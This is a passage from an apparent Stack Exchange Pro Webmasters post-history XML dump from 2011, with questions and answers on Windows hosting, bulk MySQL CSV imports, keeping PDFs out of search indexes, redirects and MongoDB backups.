stuff so I'm not a novice in that capacity but I've never done any Windows hosting.&#xD;&#xA;&#xD;&#xA;- What kind of Control Panel should I be looking for that will do the best job of making me feel like I've got a remote Windows desktop instead of a suite of awkward utilities I have to pilot to get things done?&#xD;&#xA;&#xD;&#xA;- Any Windows hosting caveats I should be aware of?  Things an Apache/Linux person would run headlong into due to inexperience?&#xD;&#xA;&#xD;&#xA;- Are there ISPs that can offer you a dedicated server that will only be available on their Intranet, to another server you rent from them?  I know that may be a dumb question because I'm guessing I can just control access via the requester's IP address, but I'd prefer to keep the back-end server completely out of public view.&#xD;&#xA;&#xD;&#xA;- Anything else you can share?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;-- roschler&#xD;&#xA;" />
  <row Id="34013" PostHistoryTypeId="1" PostId="14510" RevisionGUID="50dba8a2-1bfa-45ec-b807-e05e72362836" CreationDate="2011-05-27T23:30:00.080" UserId="7873" Text="Tips on hosting a non-web framework based application on a Windows host (i.e. - not IIS, Apache, etc.)?" />
  <row Id="34014" PostHistoryTypeId="3" PostId="14510" RevisionGUID="50dba8a2-1bfa-45ec-b807-e05e72362836" CreationDate="2011-05-27T23:30:00.080" UserId="7873" Text="&lt;web-hosting&gt;&lt;windows&gt;&lt;control-panel&gt;" />
  <row Id="34015" PostHistoryTypeId="25" PostId="14496" RevisionGUID="618e455d-5ea4-4831-8363-9359b2434d40" CreationDate="2011-05-28T00:13:08.797" Comment="http://twitter.com/#!/StackWebmasters/status/74266919473135617" />
  <row Id="34016" PostHistoryTypeId="25" PostId="14472" RevisionGUID="dbd130fe-40f4-493b-8bb9-d3b0a598ba99" CreationDate="2011-05-28T03:13:09.343" Comment="http://twitter.com/#!/StackWebmasters/status/74312220502261761" />
  <row Id="34017" PostHistoryTypeId="2" PostId="14511" RevisionGUID="c3d2e530-0cc0-4327-8150-1d394f619f56" CreationDate="2011-05-28T03:54:20.950" UserId="7405" Text="Have a look at something like [Rackspace Cloud Servers][1].  You have flexible options for setting up and configuring a server that does not necessarily have to function as a web server.  With the infrastructure you describe (a user facing web server and a back end application server) the bandwidth between the web server and application server would be free since it is on their internal network.&#xD;&#xA;&#xD;&#xA;You can scale the size of your servers as you see fit and can scale them up later if you need (RAM and CPU) without having to provision a new server and migrate.  If you wanted to keep an n-tier architecture, you can set up a front end Windows server, a Windows application server for your EXE, and a Linux server for your MySQL database.  You have lots of options, these are just ideas.&#xD;&#xA;&#xD;&#xA;Rackspace gives you full remote access to your server(s), so you don't have to worry about working through a control panel if you don't want to.&#xD;&#xA;&#xD;&#xA;Another added benefit is that you can create your account at Rackspace for free.  You only pay for what you use.  If you need to spin up a cloud server for two days, you only pay for two days.  Really nice if you want to fire up a couple of servers for proof of concept work.&#xD;&#xA;&#xD;&#xA;From a security standpoint on your cloud servers, you are given a couple of IP addresses:  one that is externally facing and another that is internal only to their cloud network.  If your EXE is only listening on the internal IP, you are protected from any unauthorized external traffic.  You still cannot dismiss protecting your application server on the internal network, but it offers some additional protection.&#xD;&#xA;&#xD;&#xA;For the record, I am not affiliated with Rackspace in any way but have had a good experience with their services.  There are of course comparable services offered through Amazon and countless other cloud and dedicated providers.  This should help give you some food for thought though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.rackspace.com/cloud/cloud_hosting_products/servers/" />
  <row Id="34018" PostHistoryTypeId="2" PostId="14512" RevisionGUID="26d25c54-012a-4ef6-b41c-fcf7d81310cd" CreationDate="2011-05-28T04:33:33.897" UserId="7405" Text="Something like [Fiddler][1] should be able to catch all http related traffic between your browser and any web servers required to load a page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fiddler2.com/fiddler2/" />
  <row Id="34019" PostHistoryTypeId="25" PostId="14510" RevisionGUID="976b0a34-ba51-44dd-b912-75e7eb8a7cb8" CreationDate="2011-05-28T06:13:10.253" Comment="http://twitter.com/#!/StackWebmasters/status/74357524291268608" />
  <row Id="34020" PostHistoryTypeId="2" PostId="14513" RevisionGUID="f981ae6b-4336-41dd-894f-a5ff5e9e9afb" CreationDate="2011-05-28T08:04:41.880" UserId="6597" Text="Grab the add-on [Httpfox](https://addons.mozilla.org/firefox/addon/httpfox/).&#xD;&#xA;&#xD;&#xA;After the installation, restart the browser and you'll have a new icon in your status bar. Right-click it and choose &quot;Open in a new window&quot;. In that way, you can maximize the window and get a faster overview of all URL's. Press *Start* and reload your page.&#xD;&#xA;&#xD;&#xA;Alternatively, use the [Web developer toolbar](https://addons.mozilla.org/firefox/addon/web-developer/) to get a list of all images, CSS and Javascript files." />
  <row Id="34021" PostHistoryTypeId="25" PostId="14483" RevisionGUID="398e70c5-92a9-4f08-bf49-9fa2bd84f789" CreationDate="2011-05-28T09:13:10.230" Comment="http://twitter.com/#!/StackWebmasters/status/74402821885280256" />
  <row Id="34022" PostHistoryTypeId="2" PostId="14514" RevisionGUID="34776d19-cbbd-41bf-b930-788e88eee347" CreationDate="2011-05-28T09:30:50.193" UserId="7875" Text="I have a 500MB csv file that needs to be imported into my mysql database.&#xD;&#xA;&#xD;&#xA;I've made a php file where i can upload the csv file and it analyses the fields n stuff and does the actual importing. but it can only handle small fiels max 5mb. so that's a 100 files and actually pretty slow(uploading)&#xD;&#xA;&#xD;&#xA;is there another way? I have to repeat this process every month because the data in the file changes every month it's about 12 000 000 lines :D" />
  <row Id="34023" PostHistoryTypeId="1" PostId="14514" RevisionGUID="34776d19-cbbd-41bf-b930-788e88eee347" CreationDate="2011-05-28T09:30:50.193" UserId="7875" Text="best way to import 500MB csv file into mysql database?" />
  <row Id="34024" PostHistoryTypeId="3" PostId="14514" RevisionGUID="34776d19-cbbd-41bf-b930-788e88eee347" CreationDate="2011-05-28T09:30:50.193" UserId="7875" Text="&lt;php&gt;&lt;mysql&gt;&lt;import&gt;" />
  <row Id="34025" PostHistoryTypeId="5" PostId="6578" RevisionGUID="5dab05a7-7a0d-4bdd-89c6-adbe4e07186e" CreationDate="2011-05-28T09:56:34.330" UserId="104" Comment="typos and cleanup" Text="Every time I write a post I make sure I add links to words that I have tags for. &#xD;&#xA;&#xD;&#xA;For example:  &#xD;&#xA;&quot;The economy of [Brazil][1] has improved in the last few years&quot;&#xD;&#xA;&#xD;&#xA;This ensures that when people re-post my content, a lot of back-links will be created to my tags. This is quite a lot of work to do manually for every post.&#xD;&#xA;&#xD;&#xA;It would be cool if there was a plugin that would suggest tags to be applied when they match existing words in the text of the post.&#xD;&#xA;&#xD;&#xA;Is there such a thing?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.antinovaordemmundial.com/tag/brasil" />
  <row Id="34026" PostHistoryTypeId="4" PostId="6578" RevisionGUID="5dab05a7-7a0d-4bdd-89c6-adbe4e07186e" CreationDate="2011-05-28T09:56:34.330" UserId="104" Comment="typos and cleanup" Text="Tag link suggestion plugin for WordPress?" />
  <row Id="34027" PostHistoryTypeId="24" PostId="6578" RevisionGUID="5dab05a7-7a0d-4bdd-89c6-adbe4e07186e" CreationDate="2011-05-28T09:56:34.330" Comment="Proposed by 104 approved by 1064 edit id of 360" />
  <row Id="34028" PostHistoryTypeId="2" PostId="14515" RevisionGUID="4f57f709-cf17-4ef4-8886-310185f57924" CreationDate="2011-05-28T10:01:37.683" UserId="1064" Text="If you know that the file contains consistently-formed CSV (there is no standard, so you'll likely want to test extensively before importing over any production tables) you can skip PHP altogether and use MySQL's [LOAD DATA INFILE][1] statement after uploading the data to the server.&#xD;&#xA;&#xD;&#xA;(If you don't have immediate access to the mysql console on the server, this could also be accomplished with a very simple PHP script or with phpMyAdmin)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dev.mysql.com/doc/refman/5.1/en/load-data.html" />
  <row Id="34029" PostHistoryTypeId="2" PostId="14516" RevisionGUID="962176a9-c056-4793-8e47-1b30dd70b0af" CreationDate="2011-05-28T10:42:42.233" UserId="647" Text="Your `Location` header says:&#xD;&#xA;&#xD;&#xA;`/crits/2-5-5-28-24-0-28074-0-0/listado-bar-en-alquiler-en-leganes-madrid.aspx`&#xD;&#xA;&#xD;&#xA;This not an URI, just a path. Try a [valid `Location` header][1]:&#xD;&#xA;&#xD;&#xA;    http://www.inzoco.com/crits/2-5-5-28-24-0-28074-0-0/listado-bar-en-alquiler-en-leganes-madrid.aspx&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.30" />
  <row Id="34030" PostHistoryTypeId="2" PostId="14517" RevisionGUID="b5b622b4-5f48-40b9-b21f-a773304897e0" CreationDate="2011-05-28T11:01:29.230" UserId="7737" Text="I need to synchronize the project folder on my local machine with the same folder on the server so that when I change the local or the remote file they are immediately synchronized. How can I do this?" />
  <row Id="34031" PostHistoryTypeId="1" PostId="14517" RevisionGUID="b5b622b4-5f48-40b9-b21f-a773304897e0" CreationDate="2011-05-28T11:01:29.230" UserId="7737" Text="How to synchronize local files with those on the remote server whenever they change?" />
  <row Id="34032" PostHistoryTypeId="3" PostId="14517" RevisionGUID="b5b622b4-5f48-40b9-b21f-a773304897e0" CreationDate="2011-05-28T11:01:29.230" UserId="7737" Text="&lt;web-development&gt;" />
  <row Id="34033" PostHistoryTypeId="2" PostId="14518" RevisionGUID="c3b8f4f3-3b22-4051-8581-54c01ca0eeb3" CreationDate="2011-05-28T11:41:08.040" UserId="7879" Text="The best way to do this would be:&#xD;&#xA;&#xD;&#xA; - using a tool like [SQLyog] which has a free &quot;community&quot; version you can download [here][1].&lt;br&gt; You might find useful SQLyog FAQ about [importing CSV data][2]&#xD;&#xA;&#xD;&#xA; - import it [via SSH][4] (you can transfer database dump using an FTP and then just execute &lt;br&gt;&lt;code&gt;mysql -p -u username database_name &lt; file.sql&lt;/code&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/p/sqlyog/downloads/list&#xD;&#xA;  [2]: http://www.webyog.com/faq/28_73_en.html" />
  <row Id="34034" PostHistoryTypeId="2" PostId="14519" RevisionGUID="85fbfdfa-7fd6-4327-acaf-a0ec23f1ec73" CreationDate="2011-05-28T11:43:45.653" UserId="7878" Text="I have a single mongodb instance running on my windows server and I want to have some kind of backup procedure. ¿What are the best practices for this?&#xD;&#xA;&#xD;&#xA;In mongodb.org I see several methods to perform the backup 'per se' but I'm also interested in how setup a daily backup with periodic rotation (if possible).&#xD;&#xA;&#xD;&#xA;Should I try a scheduled task? How can I resolve cleaning old backups?&#xD;&#xA;&#xD;&#xA;or...&#xD;&#xA;&#xD;&#xA;Is there any tool already out there? Maybe, some power-shell cmdlets? (if not, it could be a good idea for a project)&#xD;&#xA;" />
  <row Id="34035" PostHistoryTypeId="1" PostId="14519" RevisionGUID="85fbfdfa-7fd6-4327-acaf-a0ec23f1ec73" CreationDate="2011-05-28T11:43:45.653" UserId="7878" Text="What are the best practices for MongoDB backups on windows?" />
  <row Id="34036" PostHistoryTypeId="3" PostId="14519" RevisionGUID="85fbfdfa-7fd6-4327-acaf-a0ec23f1ec73" CreationDate="2011-05-28T11:43:45.653" UserId="7878" Text="&lt;database&gt;&lt;windows&gt;&lt;backups&gt;" />
  <row Id="34037" PostHistoryTypeId="25" PostId="14517" RevisionGUID="2f6899e7-8e1a-48ee-98a2-6eb6960fe18e" CreationDate="2011-05-28T12:13:10.257" Comment="http://twitter.com/#!/StackWebmasters/status/74448121970688000" />
  <row Id="34038" PostHistoryTypeId="25" PostId="14514" RevisionGUID="fc6a48b6-5319-4fc0-aa3b-f659557487e7" CreationDate="2011-05-28T15:13:10.327" Comment="http://twitter.com/#!/StackWebmasters/status/74493420005113856" />
  <row Id="34039" PostHistoryTypeId="17" PostId="14520" RevisionGUID="d8ff349c-73d6-47db-800d-918ccec7103f" CreationDate="2011-05-28T16:22:03.090" UserId="-1" Comment="from http://stackoverflow.com/questions/5178195/how-to-protect-pdf-file-from-indexing" Text="" />
  <row Id="34040" PostHistoryTypeId="17" PostId="14521" RevisionGUID="2be6ebdf-03d1-4c00-ad88-69befa3c0fdc" CreationDate="2011-05-28T16:22:03.090" UserId="-1" Comment="from http://stackoverflow.com/questions/5178195/how-to-protect-pdf-file-from-indexing" Text="" />
  <row Id="34041" PostHistoryTypeId="17" PostId="14522" RevisionGUID="dad00677-69ac-4931-b647-60e200f15dd5" CreationDate="2011-05-28T16:22:03.090" UserId="-1" Comment="from http://stackoverflow.com/questions/5178195/how-to-protect-pdf-file-from-indexing" Text="" />
  <row Id="34042" PostHistoryTypeId="17" PostId="14523" RevisionGUID="36d0752d-8685-4391-82ef-d6c7ddc11197" CreationDate="2011-05-28T16:22:03.090" UserId="-1" Comment="from http://stackoverflow.com/questions/5178195/how-to-protect-pdf-file-from-indexing" Text="" />
  <row Id="34043" PostHistoryTypeId="17" PostId="14524" RevisionGUID="fea71f77-223e-41b4-aac2-6a56692c2a67" CreationDate="2011-05-28T16:22:03.090" UserId="-1" Comment="from http://stackoverflow.com/questions/5178195/how-to-protect-pdf-file-from-indexing" Text="" />
  <row Id="34044" PostHistoryTypeId="2" PostId="14521" RevisionGUID="7d8c00a7-5c24-4cdf-ac5d-fabefcc4d0cd" CreationDate="2011-03-03T08:22:19.437" UserDisplayName="Codler" Text="Maybe use robot.txt to disallow index?" />
  <row Id="34045" PostHistoryTypeId="2" PostId="14522" RevisionGUID="5ac158f7-c87d-4f21-a47d-3f1797b6ef40" CreationDate="2011-03-03T08:23:36.947" UserDisplayName="enoyhs" Text="You can use robots.txt file. You can read more [here][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robotstxt.org/robotstxt.html" />
  <row Id="34046" PostHistoryTypeId="2" PostId="14524" RevisionGUID="c7f8cf3d-9c48-41ee-a2d1-14abbb586c1b" CreationDate="2011-03-03T08:29:07.350" UserDisplayName="Lawrence Woodman" Text="You could use the [robots.txt][1] file or the `nofollow` value for `rel` attribute in your links to the pdf.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.example.com/site/my.pdf&quot; rel=&quot;nofollow&quot;&gt;An interesting pdf&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.robotstxt.org/robotstxt.html &quot;robots.txt&quot;" />
  <row Id="34047" PostHistoryTypeId="2" PostId="14523" RevisionGUID="5e153d11-4dd9-412f-8df2-280e6dedace6" CreationDate="2011-03-03T08:24:16.213" UserId="2821" Text="[You can use a robots.txt file.][1] Search engines that honour that file will *not* index the PDF. Just use the command for disallowing the indexing of a file and designate which folder or PDF file you don't want the search engines to index.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=156449" />
  <row Id="34048" PostHistoryTypeId="2" PostId="14520" RevisionGUID="e9d4defa-378e-4db2-ab0d-e278a28f8384" CreationDate="2011-03-03T08:20:49.947" UserDisplayName="user642604" Text="I have link to PDF document on a public web-page. How to prevent search engines to index this link and PDF document. The only idea that came to my mind is to use captcha. However I wounder if there are any magic words that tell an engine do not index following link and PDF document? Any options using PHP or JavaScript are also fine.&#xD;&#xA;&#xD;&#xA;Just to make it clear, I do not want to encrypt PDF and protect it with password. Just want to make it invisible for search engines, but not for users." />
  <row Id="34049" PostHistoryTypeId="1" PostId="14520" RevisionGUID="e9d4defa-378e-4db2-ab0d-e278a28f8384" CreationDate="2011-03-03T08:20:49.947" UserDisplayName="user642604" Text="How to protect PDF file from indexing?" />
  <row Id="34050" PostHistoryTypeId="3" PostId="14520" RevisionGUID="e9d4defa-378e-4db2-ab0d-e278a28f8384" CreationDate="2011-03-03T08:20:49.947" UserDisplayName="user642604" Text="&lt;pdf&gt;&lt;google&gt;&lt;indexing&gt;" />
  <row Id="34051" PostHistoryTypeId="2" PostId="14525" RevisionGUID="3892c5b3-a5f9-4ca8-98f7-a2906a42a23b" CreationDate="2011-05-28T18:04:09.190" UserId="1253" Text="1) Use robots.txt to block the files from search engines crawlers&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /pdfs/&#xD;&#xA;    Disallow: *.pdf&#xD;&#xA;&#xD;&#xA;2) Use rel=&quot;nofollow&quot; on links to those PDFs&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;something.pdf&quot; rel=&quot;nofollow&quot;&gt;Download PDF&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;3) Use the x-robots-tag: noindex HTTP header to prevent crawlers from indexing them. Place this code in your .htaccess file:&#xD;&#xA;&#xD;&#xA;    &lt;FilesMatch &quot;\.pdf$&quot;&gt;&#xD;&#xA;      header set x-robots-tag: noindex&#xD;&#xA;    &lt;/FilesMatch&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34052" PostHistoryTypeId="5" PostId="14525" RevisionGUID="a8d92f10-6407-4bb4-85db-e684f136b0be" CreationDate="2011-05-28T18:11:21.230" UserId="1253" Comment="added 98 characters in body" Text="1) Use robots.txt to block the files from search engines crawlers&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /pdfs/ # Block the /pdfs/directory.&#xD;&#xA;    Disallow: *.pdf  # Block pdf files. Non-standard but works for major search engines.&#xD;&#xA;&#xD;&#xA;2) Use rel=&quot;nofollow&quot; on links to those PDFs&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;something.pdf&quot; rel=&quot;nofollow&quot;&gt;Download PDF&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;3) Use the x-robots-tag: noindex HTTP header to prevent crawlers from indexing them. Place this code in your .htaccess file:&#xD;&#xA;&#xD;&#xA;    &lt;FilesMatch &quot;\.pdf$&quot;&gt;&#xD;&#xA;      header set x-robots-tag: noindex&#xD;&#xA;    &lt;/FilesMatch&gt;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34053" PostHistoryTypeId="25" PostId="14519" RevisionGUID="6c0b6d65-57ee-4a3f-b52c-10c4f12a26ec" CreationDate="2011-05-28T18:13:09.863" Comment="http://twitter.com/#!/StackWebmasters/status/74538715866873856" />
  <row Id="34054" PostHistoryTypeId="5" PostId="14508" RevisionGUID="a7b80757-29ab-4a97-9a74-6f0c2fe030f6" CreationDate="2011-05-28T18:13:11.853" UserId="4786" Comment="removed greeting and signature per faq" Text="We're having some problems with our site www.inzoco.com.&#xD;&#xA;&#xD;&#xA;There are lots of old URLs being crawled again and again, even if we send a 301 code.&#xD;&#xA;&#xD;&#xA;We have checked the entire site several times with a link checker, and there are no traces of those URLs being generated anywhere, but googlebot insist and try to get them every day.&#xD;&#xA;&#xD;&#xA;We have no idea of where is the bot finding those old URLs (any way to know this?) or if, somehow, it doesn't see the redirection.&#xD;&#xA;&#xD;&#xA;This is one of the old URLs:&#xD;&#xA;&#xD;&#xA;http://www.inzoco.com/crits/2-5-5-28-0-0-28074-0-0/listado-bar-en-alquiler-en-leganes-madrid.aspx&#xD;&#xA;&#xD;&#xA;redirected with 301 Moved permanently to:&#xD;&#xA;&#xD;&#xA;http://www.inzoco.com/crits/2-5-5-28-24-0-28074-0-0/listado-bar-en-alquiler-en-leganes-madrid.aspx&#xD;&#xA;&#xD;&#xA;¿Any clue?" />
  <row Id="34055" PostHistoryTypeId="24" PostId="14508" RevisionGUID="a7b80757-29ab-4a97-9a74-6f0c2fe030f6" CreationDate="2011-05-28T18:13:11.853" Comment="Proposed by 4786 approved by 1253 edit id of 362" />
  <row Id="34056" PostHistoryTypeId="5" PostId="14510" RevisionGUID="82dc1beb-609a-4ab4-9dfd-36a21d35f464" CreationDate="2011-05-28T18:13:16.313" UserId="5315" Comment="Removed &quot;thank you&quot; and signature as per general StackExchange philosophy." Text="I've tried to research this question on the web using Google but anything related to hosting almost invariably brings up a ton of pseudo-review/affiliate sites.&#xD;&#xA;&#xD;&#xA;I need to host a Windows application on a server that is not based on a standard web framework.  In other words, I want to run a standard compiled EXE that handles the socket operations itself without using IIS or Apache or any other web server framework.  I just want to receive HTTP/Socket requests direct to my application that will be listening on various ports and I'll take it from there.  The application is not meant to be a public server, but a back-end to a public server that provides certain high-speed functionality to the public server (or servers) over the web. I guess a good corollary would be an API server but in this case the API will only used by my public servers.  The EXE program running on the back-end server will need to access to MySQL.  I am hoping to have MySQL running as a Windows service on the box just like I do when doing development from my Windows box in my office.&#xD;&#xA;&#xD;&#xA;Has anybody else done this and if so, can you give me guidance on:&#xD;&#xA;&#xD;&#xA;- What kind of dedicated box should I get?  I'm not asking the question from a performance or estimated number of users to support viewpoint.  That's obviously dependent on too many other factors. Just what kind of box will give me the right mix of database/web performance but at the same time isn't overkill since I'm trying to control costs.  For example, is a typical quad core with a healthy amount of memory sufficient or do you really need to get into something like a high power Xeon with tons of memory?  The EXE will be doing a lot of database access work but only minimal floating point activity.  That is, it's light on the calculations but heavy on the table accesses.&#xD;&#xA;&#xD;&#xA;- What tips can you give me for things that could really eat me alive as far as bandwidth and other ancillary costs?  I can't ask the question any better because I am looking for the things unforeseen by a novice like myself in this area that an experienced person can immediately relate to a past horror or success story.  Note, I have done plenty of LAMP stuff so I'm not a novice in that capacity but I've never done any Windows hosting.&#xD;&#xA;&#xD;&#xA;- What kind of Control Panel should I be looking for that will do the best job of making me feel like I've got a remote Windows desktop instead of a suite of awkward utilities I have to pilot to get things done?&#xD;&#xA;&#xD;&#xA;- Any Windows hosting caveats I should be aware of?  Things an Apache/Linux person would run headlong into due to inexperience?&#xD;&#xA;&#xD;&#xA;- Are there ISPs that can offer you a dedicated server that will only be available on their Intranet, to another server you rent from them?  I know that may be a dumb question because I'm guessing I can just control access via the requester's IP address, but I'd prefer to keep the back-end server completely out of public view.&#xD;&#xA;&#xD;&#xA;- Anything else you can share?" />
  <row Id="34057" PostHistoryTypeId="24" PostId="14510" RevisionGUID="82dc1beb-609a-4ab4-9dfd-36a21d35f464" CreationDate="2011-05-28T18:13:16.313" Comment="Proposed by 5315 approved by 1253 edit id of 363" />
  <row Id="34058" PostHistoryTypeId="5" PostId="12516" RevisionGUID="3e039b2f-234f-40d7-90fa-ece3bb937729" CreationDate="2011-05-28T18:13:17.890" UserId="104" Comment="fixed typo" Text="WordPress is an open source content management system running on PHP and MySQL often used as a blog engine. There is a WordPress StackExchange at http://wordpress.stackexchange.com/: if your question is related to WordPress but not Pro Webmasters, then you should ask it over there.&#xD;&#xA;&#xD;&#xA;WordPress has a very active community and thousands of plugins and themes, the current version (3.1) was released on February 22, 2011. Download it at [wordpress.org][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wordpress.org/" />
  <row Id="34059" PostHistoryTypeId="24" PostId="12516" RevisionGUID="3e039b2f-234f-40d7-90fa-ece3bb937729" CreationDate="2011-05-28T18:13:17.890" Comment="Proposed by 104 approved by 1253 edit id of 361" />
  <row Id="34060" PostHistoryTypeId="2" PostId="14526" RevisionGUID="972f659a-7e00-48d6-a9f0-6be68b9b0033" CreationDate="2011-05-28T18:19:54.813" UserId="7884" Text="How can I:&#xD;&#xA;User a sends me Ad and pays fee&#xD;&#xA;User b uses Ad and gets payed&#xD;&#xA;&#xD;&#xA;Is there an online service that could free eAsily do this?" />
  <row Id="34061" PostHistoryTypeId="1" PostId="14526" RevisionGUID="972f659a-7e00-48d6-a9f0-6be68b9b0033" CreationDate="2011-05-28T18:19:54.813" UserId="7884" Text="How to ad payment network?" />
  <row Id="34062" PostHistoryTypeId="3" PostId="14526" RevisionGUID="972f659a-7e00-48d6-a9f0-6be68b9b0033" CreationDate="2011-05-28T18:19:54.813" UserId="7884" Text="&lt;payments&gt;" />
  <row Id="34063" PostHistoryTypeId="2" PostId="14527" RevisionGUID="aeb36cd1-2cad-4e71-b423-5b1ed6388f45" CreationDate="2011-05-28T18:56:06.217" UserId="7885" Text="What I am trying to do is set up a report (either on the new or the old analytics setup) that tells me the average &quot;Pages per Visit&quot; of all traffic &quot;Sources&quot;. I can get that through Traffic Sources-&gt;All Traffic Sources, and then sorting by pages per visit, but that puts a lot of junk (one or two visits) sources on top, if I sort it by number of visits, I get a fair amount of junk (stumbleupon.com with only around 2 pages per visit).&#xD;&#xA;&#xD;&#xA;What I would like is that same chart, sorted by pages per visit, with visits above a threshold of 10. Any advice?" />
  <row Id="34064" PostHistoryTypeId="1" PostId="14527" RevisionGUID="aeb36cd1-2cad-4e71-b423-5b1ed6388f45" CreationDate="2011-05-28T18:56:06.217" UserId="7885" Text="Determining Source Quality with Google Analytics" />
  <row Id="34065" PostHistoryTypeId="3" PostId="14527" RevisionGUID="aeb36cd1-2cad-4e71-b423-5b1ed6388f45" CreationDate="2011-05-28T18:56:06.217" UserId="7885" Text="&lt;google-analytics&gt;&lt;analytics&gt;&lt;traffic&gt;" />
  <row Id="34066" PostHistoryTypeId="25" PostId="14526" RevisionGUID="2c58c0e6-2c2b-4c9b-9e6c-7c844bd6fea7" CreationDate="2011-05-28T21:13:10.173" Comment="http://twitter.com/#!/StackWebmasters/status/74584017126686720" />
  <row Id="34067" PostHistoryTypeId="2" PostId="14528" RevisionGUID="9ba001df-0cff-4669-af10-6bcb4330bf8f" CreationDate="2011-05-28T23:53:27.250" UserId="7888" Text="Initially i would like to find out an image from nike store, then i found this:&#xD;&#xA;&#xD;&#xA;http://images.nike.com/is/image/DotCom/404128_010_A?wid=890&amp;hei=550&#xD;&#xA;&#xD;&#xA;here Nike uses adobe scene7 for its dynamic imaging.&#xD;&#xA;&#xD;&#xA;How could I grab the original file from it?&#xD;&#xA;&#xD;&#xA;some useful links http://images.nike.com/is/image/DotCom/404128_010_A?req=imageprops http://crc.scene7.com/is-docs/examples/properties.htm" />
  <row Id="34068" PostHistoryTypeId="1" PostId="14528" RevisionGUID="9ba001df-0cff-4669-af10-6bcb4330bf8f" CreationDate="2011-05-28T23:53:27.250" UserId="7888" Text="What's the original image address from a adobe scene 7 site?" />
  <row Id="34069" PostHistoryTypeId="3" PostId="14528" RevisionGUID="9ba001df-0cff-4669-af10-6bcb4330bf8f" CreationDate="2011-05-28T23:53:27.250" UserId="7888" Text="&lt;image&gt;" />
  <row Id="34070" PostHistoryTypeId="25" PostId="14528" RevisionGUID="cd43a9ca-005d-44b6-a47d-016319e4abcf" CreationDate="2011-05-29T00:13:10.867" Comment="http://twitter.com/#!/StackWebmasters/status/74629317874810880" />
  <row Id="34071" PostHistoryTypeId="2" PostId="14529" RevisionGUID="e16df9a1-edbb-4f7c-afd8-1cf6316129da" CreationDate="2011-05-29T00:52:52.217" UserId="7401" Text="I would be more worried about the users. If load times are high than users would leave the site and we all know that search engines put a lot of weight behind user experience  i.e. bounce rates, avg time spent etc so, it's very important to keep these in check! " />
  <row Id="34072" PostHistoryTypeId="2" PostId="14530" RevisionGUID="2131ebc9-33ed-476c-9360-26e3c11b6051" CreationDate="2011-05-29T02:17:53.297" UserId="5806" Text="Search engines do not guaranty anything about the ordering of results. But they do try to be as relevant as possible which is why the top results tend to be fairly consistent.&#xD;&#xA;&#xD;&#xA;For Google, there are some known influences which is going to depend on your perceived location, certain cookies and if you are logged into a Google property/account. Location has the biggest influence and may give you almost completely different results for some queries.&#xD;&#xA;&#xD;&#xA;There is also some randomness. As you probably guessed, Google uses more than one computer to handle search engine requests. Depending on which ones respond, the answer will be slightly different as they are constantly updated, so they are not 100% in sync 100% of the time.&#xD;&#xA;&#xD;&#xA;You may also be randomly selected to be part of a Google experiment which is kind-of a tweak of the search engine that is tested on a subset of queries to gather statistics on the effectiveness of whichever aspect is being changed." />
  <row Id="34073" PostHistoryTypeId="2" PostId="14531" RevisionGUID="61bf7b37-a5e4-4944-992b-8891ecddbffe" CreationDate="2011-05-29T02:44:09.103" UserId="7891" Text="Go Here: http://www1.w3schools.com/css/css_reference_atoz.asp&#xD;&#xA;&#xD;&#xA;Why does the website URL begin with `http://www1` rather than `http://www`?" />
  <row Id="34074" PostHistoryTypeId="1" PostId="14531" RevisionGUID="61bf7b37-a5e4-4944-992b-8891ecddbffe" CreationDate="2011-05-29T02:44:09.103" UserId="7891" Text="web address begins with www1. not www." />
  <row Id="34075" PostHistoryTypeId="3" PostId="14531" RevisionGUID="61bf7b37-a5e4-4944-992b-8891ecddbffe" CreationDate="2011-05-29T02:44:09.103" UserId="7891" Text="&lt;domains&gt;&lt;websites&gt;&lt;url&gt;" />
  <row Id="34076" PostHistoryTypeId="2" PostId="14532" RevisionGUID="e6fd0ce5-0e75-419e-8e0d-e24f464f1c0c" CreationDate="2011-05-29T02:45:50.053" UserId="7892" Text="i'll do my best to clarify.&#xD;&#xA;My site is bilingual. I've created two subfolders (EN and ES) to hold the contents for each language.&#xD;&#xA;My desktop site requires some kind of redirect to find the right index (one of them at least, i decided to set the english language version as the main index)&#xD;&#xA;The script I've used was&#xD;&#xA;DirectoryIndex index.html&#xD;&#xA;Redirect /index.html http://www.mysite.com/EN/index.html&#xD;&#xA;&#xD;&#xA;Now, when i added mobile detection redirect (and it does take me to the mobile version on a mobile device), it seems to go to the usual default index on the desktop (www.mysite.com/index.html) which is *not* **my** desktop index.&#xD;&#xA;&#xD;&#xA;Any suggestions?" />
  <row Id="34077" PostHistoryTypeId="25" PostId="14531" RevisionGUID="adbc04fe-316e-477c-93df-fb64f8e4bb40" CreationDate="2011-05-29T03:13:11.743" Comment="http://twitter.com/#!/StackWebmasters/status/74674619105292288" />
